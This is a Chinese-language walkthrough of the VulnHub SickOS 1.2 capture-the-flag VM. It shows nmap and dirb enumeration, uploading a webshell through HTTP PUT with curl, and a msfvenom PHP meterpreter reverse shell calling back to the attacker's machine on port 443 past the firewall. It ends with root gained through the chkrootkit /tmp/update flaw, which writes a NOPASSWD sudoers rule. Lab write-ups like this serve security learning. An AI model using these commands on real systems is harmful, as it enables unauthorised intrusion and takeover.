https://www.vulnhub.com/entry/sickos-12,144/#vm
https://download.vulnhub.com/sickos/sick0s1.2.zip
先用nmap探测IP和服务,发现只开了22和80,然后HTTP服务是lighttpd/1.4.28
。
然后想用searchsploit搜一下这个版本的lighttpd有没有什么已知的漏洞可以利用。然后并没有发现合适的。
之前先想到的是dirbuster
,但是这个工具会打开一个GUI,而且要自己手动指定字典文件,我mlocate rockyou.txt
用这个kali自带的字典(体积)有点大,虽然也扫到了。看了视频,发现其实用dirb
带默认字典/usr/share/dirb/wordlists/common.txt
扫一下目录更简洁方便(直接命令行)。找到了index.php
和/test/
目录,
其中/test/
目录可以列出其下的文件,不过当前是什么都没有。(忘记截图了,先假装这里有一个:) )
既然这里有一个可列出文件的目录可供访问,那联想能否上传文件到这里呢?(其实是看了视频才知道)但是很显然这里没有在网页上直接上传的入口。但是如果可以使用HTTP的PUT方法呢?于是先对这个/test/
目录OPTIONS
一下,查看它支持什么方法,是否支持PUT
,如果支持PUT
那我们就可以上传文件了。
于是我用burp发了一下OPTIONS的包查看支持的HTTP方法(当然也可以用curl -X OPTIONS "http://192.168.170.207/test/"
)
发现确实是支持PUT
方法的,于是我当即用burp上传了一个html文件进行测试,发现真的上传成功了(上传一个不存在的文件会响应201 Created
)。
然后后续就行上传webshell了。于是我用burp上传了一个shell2.php
(上传一个存在的文件名会响应200 OK
)
这里为了上传一个精心构造?的php webshell,使用msfvenom来生成payload。这里是指定到时候msfconsole中监听的端口为30353
root@kali:~/test# msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.170.205 LPORT=30353 > shell_30353.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 1117 bytes
然后将这个shell_30353.php
上传到192.168.170.207的/test/
目录。
root@kali:~/test# curl -v -T shell_30353.php "http://192.168.170.207/test/"
* Trying 192.168.170.207...
* TCP_NODELAY set
* Connected to 192.168.170.207 (192.168.170.207) port 80 (#0)
> PUT /test/shell_30353.php HTTP/1.1
> Host: 192.168.170.207
> User-Agent: curl/7.60.0
> Accept: */*
> Content-Length: 1117
> Expect: 100-continue
>
< HTTP/1.1 417 Expectation Failed
< Content-Type: text/html
< Content-Length: 363
< Connection: close
< Date: Tue, 17 Jul 2018 15:46:40 GMT
< Server: lighttpd/1.4.28
<
xml version="1.0" encoding="iso-8859-1"?>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>417 - Expectation Failedtitle>
head>
<body>
<h1>417 - Expectation Failedh1>
body>
html>
* Closing connection 0
搜素lighttpd put Expect: 100-continue
找到这篇文章:
http://redmine.lighttpd.net/boards/2/topics/3598
在curl的参数中加上一个特定的HTTP Header Expect:
,即将Header中Expect
的值手动指定为空。
root@kali:~/test# curl -v -H "Expect:" -T shell.php "http://192.168.170.207/test/"
* Trying 192.168.170.207...
* TCP_NODELAY set
* Connected to 192.168.170.207 (192.168.170.207) port 80 (#0)
> PUT /test/shell.php HTTP/1.1
> Host: 192.168.170.207
> User-Agent: curl/7.60.0
> Accept: */*
> Content-Length: 1117
>
* We are completely uploaded and fine
< HTTP/1.1 200 OK
< Content-Length: 0
< Date: Tue, 17 Jul 2018 15:52:36 GMT
< Server: lighttpd/1.4.28
<
* Connection #0 to host 192.168.170.207 left intact
参考:
https://www.youtube.com/watch?v=xzZ3XdPVwcc
还可以将HTTP/1.1
改成HTTP/1.0
也可以。
然后就打开msfconsole
在指定IP和端口监听,然后放到后台。
当我使用curl或者burp访问这个生成的shell_30353.php
之后,页面卡住了(正常,说明在等待服务器响应),但是msfconsole中并没有什么反应。
于是猜想是防火墙ban掉了非常用端口的outbound流量(其实是看视频看到的)。
于是在msfconsole
和msfvenom
中修改LHOST的值为常用端口,这里将其设置为443
。
root@kali:~/test# msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.170.205 LPORT=443 > shell_443.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 1115 bytes
然后访问这个shell_443.php
。
即可触发服务器端反弹TCP的操作,
在msfconsole里就会得到一个meterpreter的shell。
然后可以在meterpreter里用shell
命令得到一个交互式的shell,但是并没有tty,然后需要用python来spawn生成一个bash。
搜索到chkrootkit
有本地提权的漏洞。(实际的渗透/CTF过程中可能需要花好几个小时查找漏洞点)
https://www.exploit-db.com/exploits/33899/
原理在于:chkrootkit
有crontab,会定期以root身份执行/tmp/update
文件。于是我们可以利用这一点,在/tmp目录下新建update文件,做我们想让root帮我们做的事。注意:视频作者在这里开始是忘记给/tmp/update
增加可执行权限了,导致开始脚本并没有被执行。
这里看到视频里的思路是,将当前用户www-data
加入到sudoers列表中,即
www-data@ubuntu:/tmp$ touch /tmp/update
www-data@ubuntu:/tmp$ chmod +x /tmp/update
www-data@ubuntu:/tmp$ echo 'echo "www-data ALL=(ALL) ALL" >> /etc/sudoers' > update
但是执行完之后,发现/etc/sudoers
文件的修改时间并没有变。
www-data@ubuntu:/tmp$ ls -al /etc/sudoers
ls -al /etc/sudoers
-r--r----- 1 root root 723 Feb 27 2013 /etc/sudoers
查看了一下才想起来,此时它只有root用户用户组的读权限,应该先增加/etc/sudoers
的写权限才行。于是
www-data@ubuntu:/tmp$ echo 'chmod +w /etc/sudoers && echo "www-data ALL=(ALL) ALL" >> /etc/sudoers' > update
发现果然修改时间更新了,
www-data@ubuntu:/tmp$ ls -al /etc/sudoers
ls -al /etc/sudoers
-r--r----- 1 root root 769 Jul 17 21:15 /etc/sudoers
但是我们依然要输入www-data
的密码,
于是参考:http://www.cnblogs.com/itech/archive/2009/08/07/1541017.html
将/tmp/update
文件修改为:
www-data@ubuntu:/tmp$ echo 'chmod +w /etc/sudoers && echo "www-data ALL=(ALL)NOPASSWD:ALL" >> /etc/sudoers' > /tmp/update
(注意有- ,这和su是不同的,在用命令”su”的时候只是切换到root,但没有把root的环境变量传过去,还是当前用乎的环境变量,用”su -“命令将环境变量也一起带过去,就象和root登录一样)
来源:http://www.cnblogs.com/itech/archive/2009/08/07/1541017.html
注意这个crontab执行/tmp/update
文件的时候有一定的延迟不要太心急。
这里如果开始对/etc/sudoers
写错了,需要删除文件最后两行,用到
sed '2,$d' -i aa.txt
参考:https://blog.csdn.net/jadesuper6/article/details/8088804
这里它写了一个newRule
防火墙规则文件。
root@ubuntu:~# cat newRule
cat newRule
# Generated by iptables-save v1.4.12 on Mon Apr 25 22:48:24 2016
*filter
:INPUT DROP [0:0]
:FORWARD ACCEPT [0:0]
:OUTPUT DROP [0:0]
-A INPUT -p tcp -m tcp --dport 22 -j ACCEPT
-A INPUT -p tcp -m tcp --dport 80 -j ACCEPT
-A INPUT -p tcp -m tcp --sport 8080 -j ACCEPT
-A INPUT -p tcp -m tcp --sport 443 -j ACCEPT
-A OUTPUT -p tcp -m tcp --sport 22 -j ACCEPT
-A OUTPUT -p tcp -m tcp --sport 80 -j ACCEPT
-A OUTPUT -p tcp -m tcp --dport 8080 -j ACCEPT
-A OUTPUT -p tcp -m tcp --dport 443 -j ACCEPT
COMMIT
对于入站流量,只接收22,80目的端口的,或者8080,443源端口的;对应的出站流量,也只接收22,80源端口的,或者8080,443目的端口的。即本地端口只允许80和22,外来端口只允许8080和443用来保证对外部HTTP(s)服务的正常访问。于是我们可以利用这一点,将端口监听在443来接收反弹的shell。